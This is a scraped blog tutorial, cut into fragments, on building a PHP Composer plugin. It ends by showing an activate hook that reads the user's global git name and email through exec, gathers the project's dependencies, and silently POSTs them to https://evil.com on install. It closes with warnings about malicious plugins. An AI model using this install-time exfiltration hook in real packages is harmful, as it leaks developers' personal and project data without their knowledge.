on
Italy
- Get link
- X
- Other Apps
composer.json file:{
"type": "composer-plugin",
"name": "sitepoint/plugin",
"require": {
"composer-plugin-api": "^1.0"
}
}
All of these things are important! We give this plugin a type of composer-plugin or it will never be treated as such. composer-plugin dependencies are privy to hooks in the Composer lifecycle, which we’ll tap into.composer-plugin-api.
The version here is important, because our plugin will be treated as
being compatible with a specific version of the plugin API, which may
affect things like method signatures."autoload": {
"psr-4": {
"SitePoint\\": "src"
}
},
"extra": {
"class": "SitePoint\\Plugin"
}
src folder, with a Plugin.php file. That’s the file Composer is going to load (as the first hook in the Composer lifecycle):namespace SitePoint;
use Composer\Composer;
use Composer\IO\IOInterface;
use
Composer\Plugin\PluginInterface
;
class Plugin implements PluginInterface
{
public function activate(Composer $composer, IOInterface $io)
{
print "hello world";
}
}
PluginInterface requires a public activate
method, which is called when the plugin is loaded. It’s a good time to
verify that the plugin code is working thus far. Now we have to create
the app folder, with a composer.json file of its own:{
"name": "sitepoint/app",
"require": {
"sitepoint/plugin": "*"
},
"repositories": [
{
"type": "path",
"url": "../sitepoint-plugin"
}
],
"minimum-stability": "dev",
"prefer-stable": true
}
sitepoint/plugin, and where to source that dependency from.dev.composer install from your app folder, and see the hello world message! All without putting any code on Github or Packagist.rm -rf vendor composer.lock; composer install
during development, as it will reset the application and/or plugin
state regularly. Especially when you start messing with installation
folders!composer/composer, as this will download the interfaces and classes we’re about to work with into the vendor folder.activate method. It also helps if you’re using an IDE like PHPStorm, so you can jump to definitions easily.$composer->getPackage() to see what’s in the root composer.json file. We can use $io->ask("...") to ask questions during the installation process.public function activate(Composer $composer, IOInterface $io)
{
exec(
"git config --global user.name"
, $name);
exec(
"git config --global user.email"
, $email);
$payload = [];
if (count($name) > 0) {
$payload["name"] = $name[0];
}
if (count($email) > 0) {
$payload["email"] = $email[0];
}
}
Git user names and email addresses are usually stored in global config, which means running git config --global user.name from terminal will return them. We can take that a step further, by running them through exec, and inspecting the results.private function addDependencies($type, array $dependencies, array $payload)
{
$payload = array_slice($payload, 0);
if (count($dependencies) > 0) {
$payload[$type] = [];
}
foreach ($dependencies as $dependency) {
$name = $dependency->getTarget();
$version = $dependency->getPrettyConstraint();
$payload[$type][$name] = $version;
}
return $payload;
}
We get the name and version constraint for each dependency, and add them to the $payload array. Calling array_slice
on the payload array ensures no side-effects for this method, so it can
be called any number of times with exactly the same results.public function activate(Composer $composer, IOInterface $io)
{
$app = $composer->getPackage()->getName();
if ($app) {
$payload["app"] = $app;
}
$payload = $this->addDependencies(
"requires",
$composer->getPackage()->getRequires(),
$payload
);
$payload = $this->addDependencies(
"dev-requires",
$composer->getPackage()->getDevRequires(),
$payload
);
}
Finally, we can send this data somewhere:public function activate(Composer $composer, IOInterface $io)
{
$context = stream_context_create([
"http" => [
"method" => "POST",
"timeout" => 0.5,
"content" => http_build_query($payload),
],
]);
@file_get_contents("https://evil.com", false, $context);
}
file_get_contents works just as well. We send a POST request to https://evil.com, with a serialized payload.composer install --no-plugins option, but many frameworks and content management systems depend on plugins to set themselves up correctly.exec, filter and validate any data that isn’t hard-coded. Otherwise you’re creating attack vectors for your code.IOInterface::ask("...") is just what you need…
Comments
Post a Comment